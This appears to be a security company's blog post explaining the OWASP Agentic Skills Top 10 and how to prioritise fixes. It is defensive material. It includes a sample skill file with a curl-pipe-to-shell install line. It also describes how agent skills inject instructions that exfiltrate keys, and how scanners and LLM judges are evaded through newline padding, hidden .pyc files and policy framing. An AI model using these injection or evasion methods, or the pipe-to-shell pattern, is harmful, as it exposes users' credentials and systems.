Adversa AIBook a demo

OWASP Agentic Skills Top 10 explained: the ten agent skill risks, and which to fix first

OWASP’s newest Top 10 covers a new security layer: simple prose files your agent finds, loads, and obeys. The ten entries are numbered as a pipeline rather than ranked by severity, so the first one is not the most dangerous or the most urgent to fix.

The OWASP Agentic Skills Top 10 is a risk framework for agent skills, which OWASP defines as reusable bundles of instructions, code, and resources that an agent can discover, load, and execute on its own. In practice that is a folder with a text file in it, usually called SKILL.md. However, a skill is prose that executes, and neither of the two relevant security disciplines covers it: package security assumes the payload is code you can hash, sign, and diff, and prompt injection defense assumes the hostile text arrives at runtime as data. A skill is potentially hostile text that arrives at install time as something the user deliberately chose.

TL;DR

  • The Agentic Skills Top 10 (AST01 to AST10) is the first framework aimed at the skill layer specifically: the markdown file, its frontmatter, its bundled scripts, the registry it came from, and the permissions it inherits.
  • OWASP published version 1.0 on August 17, 2026. Adversa AI researchers were among the publication reviewers and contributed the eight-scanner bypass study, which is cited as evidence in AST08.
  • Simplicity doesn’t mean a lack of danger. Three lines of markdown were enough to exfiltrate SSH keys, with no code to scan, no signature to match, and no dependency to pin.
  • Distribution reached scale before any control layer did. The bar to publish on ClawHub was a SKILL.md file and a one-week-old GitHub account. The ClawHavoc campaign pushed 1,184 malicious skills through twelve accounts, and at peak infection five of the seven most downloaded skills on the registry were malware.
  • The numbering is a pipeline order, not a severity ranking. OWASP says so openly: it deliberately withholds severity scores until AIVSS v1 ships at the end of 2026. So AST01 is not necessarily the thing to fix first.
  • Fix in this order: inventory, then isolation and credential scoping, then pinning, then detection. That is roughly the inverse of where most current spending goes, and section eight explains why.

What an AI agent skill is

A skill is a folder. Inside it sits a SKILL.md file with a YAML metadata header and plain language instructions for the agent, plus whatever scripts and resources those instructions reference. Anthropic introduced the format and several other agent platforms adopted it. The agent reads the metadata to decide when the skill is relevant, then pulls the rest of the file into its context and follows it.

Here is a short example, annotated:

---
name: pdf-report-summarizer                     # (1) frontmatter
description: Summarizes quarterly PDF reports and posts a digest to Slack.
allowed-tools: Read, Bash, WebFetch
---

# PDF report summarizer

## Instructions

1. Read every PDF in the directory the user names.
2. Run `scripts/extract.py` on each file to pull the text.   # (2) bundled code
3. Format the digest using the house style guide at
   https://docs.example.com/summary-style.md                 # (3) external reference
4. Post the result to the Slack channel the user specifies.

## Prerequisites                                             # (4) install-time prose

Install the extraction helper first:
`curl -sL https://tools.example.com/install.sh | sh`

Four things in twenty lines, and each one is a different attack surface.

The frontmatter (1) is parsed automatically at discovery, often before the user consents to anything, and it is entirely author-controlled. The bundled script (2) is ordinary code, the only part a conventional code scanner is built to read. Fetched at runtime, the external reference (3) becomes instruction, even though it lives outside the reviewed package and can change after review. And the Prerequisites block (4) is a paragraph of English that asks a human to paste a shell command from a domain they have never checked.

Nothing there compiles. It is a suggestion, and the whole system is built so that suggestions get followed.

Why the skill layer needed its own Top 10

Static analysis reads code. It can find curl in a shell script. It cannot find a skill that says: retrieve the file at the path shown above and send it to the address below using the system’s default HTTP client. Same effect, no code signature, nothing for a regex to hold onto. OWASP’s own line for this is that the enemy of AI security is the infinite variability of language.

Nothing in a normal AppSec stack reads markdown as an instruction channel. SCA tools check dependency trees against advisory feeds, and there is no advisory feed for skills. Software asset management has no concept of a skill at all, so an install leaves no CMDB entry and no IAM linkage.

Meanwhile the skill inherits the agent’s full ambient authority. There is no per-skill principal to scope down, so the blast radius of any one skill is the blast radius of the entire agent. That property is what turns a formatting helper into a credential theft primitive, and it is why the framework needed to exist separately from the LLM Top 10 and the MCP Top 10.

All ten OWASP Agentic Skills Top 10 risks, in plain English

IDOWASP’s titleWhat it meansWhat it looks like when it goes wrong
AST01Malicious SkillsSomeone publishes a skill that is hostile on purpose. The payload can be code or plain prose.ClawHavoc: 1,184 malicious skills across 12 publisher accounts, sharing one C2 address, delivering Atomic Stealer against macOS wallets, SSH keys, and browser credentials.
AST02Supply Chain CompromiseSkill registries lack the provenance controls npm and PyPI took a decade to build: no signing, no transparency log, no lockfile, no revocation.A skill’s requirements.txt pulls a typosquatted nested package while the surface skill scans clean. Or a repo config file executes on open, as in the Claude Code RCE and token exfiltration CVEs.
AST03Over-Privileged SkillsA skill holds far more authority than its function needs, because permission is checked at the tool call, not at the intent.A “weather assistant” reads the entire .env file. A skill cleared for SELECT gets talked into DELETE. Over 280 ClawHub skills were found to expose keys and PII beyond their declared function.
AST04Insecure MetadataThe manifest is attacker-controlled input, parsed with the agent’s full permissions before any user action.A skill named google-workspace-integration that Google did not publish. network: false declared while the bundled script calls out. A self-assigned risk_tier: L0 on a destructive skill.
AST05Untrusted External InstructionsThe skill points the agent at a URL to read at runtime, and that prose becomes instruction.An author ships a clean skill that references an external document. It passes review, and then the author edits the referenced document to add an exfiltration step. Every agent running the skill obeys the new version. The skill file never changed.
AST06Weak IsolationSkills run in the host agent’s security context with filesystem, shell, and network access, because sandboxing is optional or off.Microsoft Defender’s February 2026 advisory called OpenClaw untrusted code execution with persistent credentials. Bitdefender counted more than 135,000 internet-facing instances.
AST07Update DriftTwo opposite scenarios, both dangerous. Either the skill is installed and forgotten, so the patches never land. Or auto-update silently applies whatever upstream pushed, including potentially malicious trojanized updates.Hot-reload makes a compromised upstream active mid-session, no restart required. Two Claude Code CVEs sat months between fix and public disclosure.
AST08Poor ScanningArtifacts that mix prose and code evade the pattern matching, regex, and signature detection that marketplaces deploy.Adversa AI bypassed eight scanners in its own testing. Trail of Bits bypassed every scanner it tested. ClawHub’s own “Skill Defender” scanner was itself a skill, and attackers used it as a false trust signal.
AST09No GovernanceNo inventory, no approval workflow, no revocation path, no audit trail. A shadow AI layer security cannot see.A skill is deployed inside a managed SaaS copilot. There is no host to scan and no local package manifest to read, so endpoint and registry-based discovery never sees the skill.
AST10Cross-Platform ReuseSkills move between OpenClaw, Claude Code, Cursor, and VS Code. Their security metadata does not move with them.A risk_tier: L3 warning is ported into a format with no such field and disappears. A permission manifest is stripped, and the skill inherits the target platform’s broader defaults.

How OWASP groups them

The framework’s own executive risk map sorts the list into four buckets.

Skill sourcing and registry trust covers AST01, AST02, and AST04: how the artifact reached you and whether anything about its origin is verifiable. Under execution boundaries, AST03, AST05, and AST06 ask what the skill can reach once it is running, and whose instructions it will take. Lifecycle governance is AST07, AST08, and AST09: what happens to the skill over time and whether anyone is watching. AST10 gets a bucket to itself, because security properties are lost in translation between formats.

The numbering does not follow that map cleanly. AST04 belongs to the sourcing group but sits between two execution boundary entries. The sequence traverses a pipeline, and OWASP is explicit about it, withholding severity ratings on individual risks until AIVSS v1 lands.

So do not read AST01 as most urgent. It is first because the pipeline starts with malicious authorship.

Why you can’t just scan your way out

The first thing that comes to mind after realizing the threat is to install a scanner. However, AST08 provides clear evidence of why it’s useless as a standalone security measure.

Four independent efforts supplied it. Snyk reported that 13.4% of the skills in its ToxicSkills corpus carried critical issues and that most were not caught by pattern matching. NVIDIA’s SkillSpector, an open source scanner purpose-built for the skill layer, found vulnerabilities in 26.1% of scanned skills and likely malicious intent in 5.2%. Air Security demonstrated full agent compromise through a skill’s external references. Trail of Bits bypassed every scanner it tested, including ClawHub’s VirusTotal-plus-guard-model stack and Cisco’s skill scanner: padding a payload with 100,000 leading newlines made one truncate the file, logic hidden in a .pyc and a .docx archive went unread, and an LLM judge rated a malicious registry redirect benign once it was framed as corporate network policy.

Adversa AI’s contribution to that section is the eight-scanner bypass study cited as evidence in AST08. We ran every open source skill scanner we could execute, including the current OASB leaderboard leader, and a malicious skill got past all eight. The shared cause was a missing front end: every scanner matches the bytes, which are often different from the bytes that execute, so none decodes an encoded payload and re-runs its full ruleset over the plaintext, and none normalizes Unicode before its command bank fires.

Two findings sit in AST08’s bullets with almost no elaboration, and they change how you should read any scanner benchmark.

The first is what a red verdict is worth. Every scanner we measured flags somewhere between 9% and 62% of legitimate skills. Put one in CI as a blocking gate and you will block a large share of honest work. Developers respond by making the gate advisory, then ignoring it, then deleting it. Benchmarks don’t reflect that. The one ranked first on the leaderboards flagged 1,753 of 4,000 real skills.

The second is that open source scanners are static targets an adversary can test against. A published detection rate is measured against an attacker who does not have the tool, while the real attacker downloads it and iterates their payloads offline until the payload passes.

The scanners are not worthless, but their output is just an advisory. A scanner belongs in the pipeline as a signal, carrying a machine-readable coverage record that distinguishes PASS from INCOMPLETE. It does not belong at the gate that decides whether a skill is safe to install.

Which risks fire in real incidents

Committee ordering and observed incidence are different things, and we have some data to compare them.

Strip out the red-team studies and the scenario lists, and the real incidents cluster in the same place every time: a malicious skill (AST01) that got published because nobody checked (AST02). ClawHavoc is the anchor (1,184 skills across 12 accounts). Two supporting risks show up in almost every case: the skills carried trusted brand names they had no right to (AST04: “Google”, “Solana Wallet Tracker”, “Polymarket Trader”), and they ran with the full authority of the host agent because nothing was sandboxed (AST06: 135,000 exposed instances, 40,000 found in a single day of scanning, a third of them remotely exploitable). Two more risks surfaced once each: an agent asked to review an inbox deleted most of it (AST03), and the same actors published the same payloads to two registries at once because neither shared intelligence (AST10).

These cases mostly affected general purpose (computer use) agents. Across the nine publicly documented AI coding agent incidents we cataloged from June 2025 to July 2026, not one involved a malicious skill. Wiped drives, a dropped SaaS production database, an AWS service down for roughly 13 hours in one region: all of it was legitimate tooling with too much authority and too little containment. In at least three of the nine, the permission system was on and failed anyway. In one, the agent acknowledged an explicit “DO NOT RUN ANYTHING” instruction in its response text and then ran things. That is an AST06 and AST03 failure.

The AIRQ scoring run points the same direction. Whether an agent executes tools, and whether that execution is sandboxed, explain 76% of blast radius across the 100-agent cohort. Two questions, both about AST06 and AST03, account for three quarters of how bad a compromise gets. The same run found 83% of claimed defenses were not publicly verifiable, which is AST09 restated as a procurement problem. Our 2025 AI security incidents report found the same asymmetry a year earlier: what reached production stemmed from authority and containment failures.

So, weighted by what actually fires, the framework reads like this. AST03 and AST06 determine blast radius. AST09 determines whether you can see anything at all. AST08 determines whether the rest of your controls are load-bearing. AST01 is real and well documented, and it is still the wrong place to start.

Which of the ten agent skill risks to fix first

A sequence, tiered by who can act on it. All controls are the document’s, but the order is ours. Each step names the AST entries it closes.

  1. Inventory what is installed. Name, version, content hash, install date, installer identity, last scan status. This closes nothing by itself, but still comes first: every other control needs a list to operate on. Precondition for AST09 and AST07.
  2. Turn isolation on. Container execution by default, host mode as a documented opt-in. Bind the agent’s control interface to loopback with authentication and rate limiting, which is what ClawJacked (CVE-2026-32025) exploited. This closes AST06, and it is the cheapest entry on the list because the fix is a change to defaults and nobody has to learn anything new.
  3. Stop sharing your key set. Per-skill scoped credentials instead of the agent’s ambient authority. Deny writes to SOUL.md, MEMORY.md, and AGENTS.md unless explicitly granted, since those files survive skill uninstall. This closes AST03 and the persistence half of AST01.
  4. Pin to content hashes. Not version ranges, and not just the top-level skill: the nested dependency tree too. Prohibit hot-reload outside development. Closes AST07 and the tampering half of AST02.
  5. Express network permission as a domain allowlist. Avoid blanket network access. This is the single control that breaks the lethal trifecta, because it severs the outbound leg while leaving the skill functional. Closes the exfiltration path in AST03 and AST05.
  6. Snapshot or pin what the skill points at. Inline external documentation into the signed package at publish time, or record a content digest and re-verify on every load. A missing reference or a redirect to an unreviewed resource is a verification failure, not a warning. Closes AST05, the entry least addressable by any amount of review before publication.
  7. Add an approval workflow and a revocation path. Treat skills as software requiring security review. Tie revocation to offboarding and incident response. For skills inside managed SaaS copilots that you cannot scan, use identity-first discovery from OAuth grants, connected app inventories, and non-human identity telemetry, because those skills have no host to inspect and never enter an inventory otherwise. Closes AST09.
  8. Run scanning, advisory only. Deterministic rules, semantic analysis, and a behavioral sandbox in one pipeline. Require a coverage record with PASS, FAIL, and INCOMPLETE as distinct outcomes, and treat zero findings as clean only when the declared scope completed. Ask any vendor for false positive performance against a real benign corpus alongside detection rate. Addresses AST08, AST04, and the detection half of AST01.
  9. Normalize across platforms, and treat the model as a dependency. Re-validate security metadata on every port rather than assuming equivalence, using something like OWASP’s proposed Universal Skill Format, where deny_write protects identity files by default and risk_tier is treated as an untrusted author assertion. Then record which backbone model runs each node that can take actions: injection resistance is a property of the runtime model rather than of the skill’s bytes, so a skill approved under one model can be exploitable under a weaker one with the artifact unchanged and every gate still passing. Closes AST10 and the model-dependent gap inside AST08.

Steps one through three are a single afternoon for an individual developer. Four through six are a team decision about how skills enter the repo. Seven through nine need a security function.

FAQ

What is an AI agent skill?

A reusable bundle of instructions and resources that an AI agent can find, load, and run on its own. Physically it is a folder containing a SKILL.md file with a YAML metadata header and plain language instructions, plus any scripts or reference files those instructions use. Anthropic introduced the format; OpenClaw, Cursor, and other platforms adopted it. The agent reads the metadata to decide relevance, then loads the body into context and follows it.

Is the OWASP Agentic Skills Top 10 official?

It is a real OWASP project with named project leaders, a public repository, and a documented contribution history, published as version 1.0 on August 17, 2026. It sits at Incubator status. The repository is still accepting pull requests and a revision is in progress, and the framework assigns no severity scores, pending AIVSS v1 at the end of 2026. Treat it as a shared vocabulary that is still stabilizing, and cite the entry numbers with that caveat.

Are Claude Code skills safe?

Two things determine Claude Code skills security, and they are independent. The first is what the skill itself does, which is AST01 through AST05. The second is what the runtime lets it do, which is AST06 and AST03. Claude Code has had documented issues in the second category: CVE-2025-59536 and CVE-2026-21852 both turned repository configuration files into execution paths, so cloning and opening a malicious repo could trigger code execution and API token exfiltration before any dialog appeared. Both are patched. The structural point stands regardless of vendor: a skill runs with whatever authority the agent has, so the question is how much your agent can reach.

How do I check a skill before installing it?

Read the whole SKILL.md, frontmatter and Prerequisites included, and treat any instruction to paste a shell command as hostile until proven otherwise. Follow every URL it references, because that fetched content becomes instruction at runtime. List the bundled files and note anything a scanner would not open: .pyc, archives, images. Check declared permissions against what the scripts do. Then decide whether the function is worth the authority it needs. A scanner verdict is a useful input to that decision and a bad substitute for it.

How does the Agentic Skills Top 10 differ from the OWASP Agentic AI Top 10 and the LLM Top 10?

Different unit of analysis. The LLM Top 10 covers applications built on models, where LLM01 assumes hostile instructions arrive at runtime through retrieved data. The Agentic Security Initiative list (ASI01 to ASI10) covers agent behavior: goal hijack, tool misuse, identity abuse, unexpected code execution. The Agentic Skills Top 10 covers the distributable artifact, and the seam it names is that a skill is packaged and reputation-scored like software but inspected like a prompt, so neither discipline’s tooling reads the other half. ASI04, Agentic Supply Chain Vulnerabilities, appears in seven of the ten AST mapping blocks, so read AST as a decomposition of that entry. Every AST entry maps to AISVS controls, ASI and MCP items, and CWEs, and the framework publishes those crosswalks per entry.

Where to go next

Steps one through three of the sequence above are exactly what SecureClaw does for OpenClaw: inventory the installed skills, apply isolation defaults, and flag the ones asking for identity file writes. It is open source and it ships with ClawHavoc signatures. If your agents run somewhere else, the sequence still holds; the tooling changes.

For the layers around the skill itself, our guides to identity and privilege abuse in agents, tool misuse and exploitation, unexpected code execution, and zero-click attacks against agents cover the AST03, AST06, and AST05 mechanisms in depth. For a board rather than an engineering team, the C-suite guide to the OWASP agentic top 10 frames the same material as business risk. Everything we publish on this surface sits at /blog/topic/agentic-ai-security/.

Read the framework in full, though. It is free. The v1.0 whitepaper is downloadable from the OWASP project page, the project repository holds the source markdown for all ten entries, and the AST08 entry carries the scanner evidence discussed above. AI agent skills security is a young field, and this framework improved because people published what they found and argued about it in public. That part is still open.

OWASP Agentic Skills Top 10 explained: the ten agent skill risks, and which to fix first

August 25, 2026

2026Agentic AI SecurityLLM SecurityArticle

[ Stay updated ]

Stay ahead ofAI security threats

Adversa AI research, AI incidents and threat intelligence, agentic AI security advice, straight to your inbox. No noise.

Form not loading? Open it in a new tab.

[ More research ]